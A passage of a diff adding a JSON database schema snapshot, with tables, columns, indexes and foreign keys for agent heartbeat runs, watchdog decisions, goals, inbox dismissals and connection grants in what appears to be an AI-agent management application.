+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "goals_company_idx": {
+          "name": "goals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "goals_company_id_companies_id_fk": {
+          "name": "goals_company_id_companies_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "goals_parent_id_goals_id_fk": {
+          "name": "goals_parent_id_goals_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "goals_owner_agent_id_agents_id_fk": {
+          "name": "goals_owner_agent_id_agents_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_run_events": {
+      "name": "heartbeat_run_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "bigserial",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "seq": {
+          "name": "seq",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "event_type": {
+          "name": "event_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stream": {
+          "name": "stream",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "message": {
+          "name": "message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_run_events_run_seq_idx": {
+          "name": "heartbeat_run_events_run_seq_idx",
+          "columns": [
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "seq",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_events_company_run_idx": {
+          "name": "heartbeat_run_events_company_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_events_company_created_idx": {
+          "name": "heartbeat_run_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_run_events_company_id_companies_id_fk": {
+          "name": "heartbeat_run_events_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_events_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_events_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_events_agent_id_agents_id_fk": {
+          "name": "heartbeat_run_events_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_run_watchdog_decisions": {
+      "name": "heartbeat_run_watchdog_decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "evaluation_issue_id": {
+          "name": "evaluation_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decision": {
+          "name": "decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_run_watchdog_decisions_company_run_created_idx": {
+          "name": "heartbeat_run_watchdog_decisions_company_run_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_watchdog_decisions_company_run_snooze_idx": {
+          "name": "heartbeat_run_watchdog_decisions_company_run_snooze_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "snoozed_until",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_run_watchdog_decisions_company_id_companies_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_evaluation_issue_id_issues_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_evaluation_issue_id_issues_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "evaluation_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_created_by_agent_id_agents_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_runs": {
+      "name": "heartbeat_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invocation_source": {
+          "name": "invocation_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'on_demand'"
+        },
+        "trigger_detail": {
+          "name": "trigger_detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "wakeup_request_id": {
+          "name": "wakeup_request_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exit_code": {
+          "name": "exit_code",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signal": {
+          "name": "signal",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "usage_json": {
+          "name": "usage_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_json": {
+          "name": "result_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_id_before": {
+          "name": "session_id_before",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_id_after": {
+          "name": "session_id_after",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_store": {
+          "name": "log_store",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_ref": {
+          "name": "log_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_bytes": {
+          "name": "log_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_sha256": {
+          "name": "log_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_compressed": {
+          "name": "log_compressed",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "stdout_excerpt": {
+          "name": "stdout_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stderr_excerpt": {
+          "name": "stderr_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "external_run_id": {
+          "name": "external_run_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_pid": {
+          "name": "process_pid",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_group_id": {
+          "name": "process_group_id",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_started_at": {
+          "name": "process_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_at": {
+          "name": "last_output_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_seq": {
+          "name": "last_output_seq",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_output_stream": {
+          "name": "last_output_stream",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_bytes": {
+          "name": "last_output_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retry_of_run_id": {
+          "name": "retry_of_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_loss_retry_count": {
+          "name": "process_loss_retry_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "scheduled_retry_at": {
+          "name": "scheduled_retry_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scheduled_retry_attempt": {
+          "name": "scheduled_retry_attempt",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "scheduled_retry_reason": {
+          "name": "scheduled_retry_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_status": {
+          "name": "issue_comment_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'not_applicable'"
+        },
+        "issue_comment_satisfied_by_comment_id": {
+          "name": "issue_comment_satisfied_by_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_retry_queued_at": {
+          "name": "issue_comment_retry_queued_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "liveness_state": {
+          "name": "liveness_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "liveness_reason": {
+          "name": "liveness_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "continuation_attempt": {
+          "name": "continuation_attempt",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_useful_action_at": {
+          "name": "last_useful_action_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_action": {
+          "name": "next_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "context_snapshot": {
+          "name": "context_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_runs_company_agent_started_idx": {
+          "name": "heartbeat_runs_company_agent_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_responsible_user_idx": {
+          "name": "heartbeat_runs_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_liveness_idx": {
+          "name": "heartbeat_runs_company_liveness_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "liveness_state",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_status_last_output_idx": {
+          "name": "heartbeat_runs_company_status_last_output_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_output_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_status_process_started_idx": {
+          "name": "heartbeat_runs_company_status_process_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "process_started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_created_at_desc_idx": {
+          "name": "heartbeat_runs_company_created_at_desc_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_issue_created_idx": {
+          "name": "heartbeat_runs_company_ctx_issue_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'issueId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_task_created_idx": {
+          "name": "heartbeat_runs_company_ctx_task_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'taskId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_taskkey_created_idx": {
+          "name": "heartbeat_runs_company_ctx_taskkey_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'taskKey')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_runs_company_id_companies_id_fk": {
+          "name": "heartbeat_runs_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_agent_id_agents_id_fk": {
+          "name": "heartbeat_runs_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_wakeup_request_id_agent_wakeup_requests_id_fk": {
+          "name": "heartbeat_runs_wakeup_request_id_agent_wakeup_requests_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "agent_wakeup_requests",
+          "columnsFrom": [
+            "wakeup_request_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_retry_of_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_runs_retry_of_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "retry_of_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.inbox_dismissals": {
+      "name": "inbox_dismissals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "item_key": {
+          "name": "item_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'dismiss'"
+        },
+        "dismissed_at": {
+          "name": "dismissed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "inbox_dismissals_company_user_idx": {
+          "name": "inbox_dismissals_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "inbox_dismissals_company_item_idx": {
+          "name": "inbox_dismissals_company_item_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "item_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "inbox_dismissals_company_user_item_idx": {
+          "name": "inbox_dismissals_company_user_item_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "item_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "inbox_dismissals_company_id_companies_id_fk": {
+          "name": "inbox_dismissals_company_id_companies_id_fk",
+          "tableFrom": "inbox_dismissals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.connection_grants": {
+      "name": "connection_grants",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "subject_user_id": {
+          "name": "subject_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_tenant": {
+          "name": "provider_tenant",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_secret_refs": {
+          "name": "credential_secret_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "is_default": {
+          "name": "is_default",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_by_agent_id": {
+          "name": "revoked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_by_user_id": {
+          "name": "revoked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "connection_grants_company_connection_idx": {
+          "name": "connection_grants_company_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_subject_user_idx": {
+          "name": "connection_grants_subject_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_user_uq": {
+          "name": "connection_grants_user_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
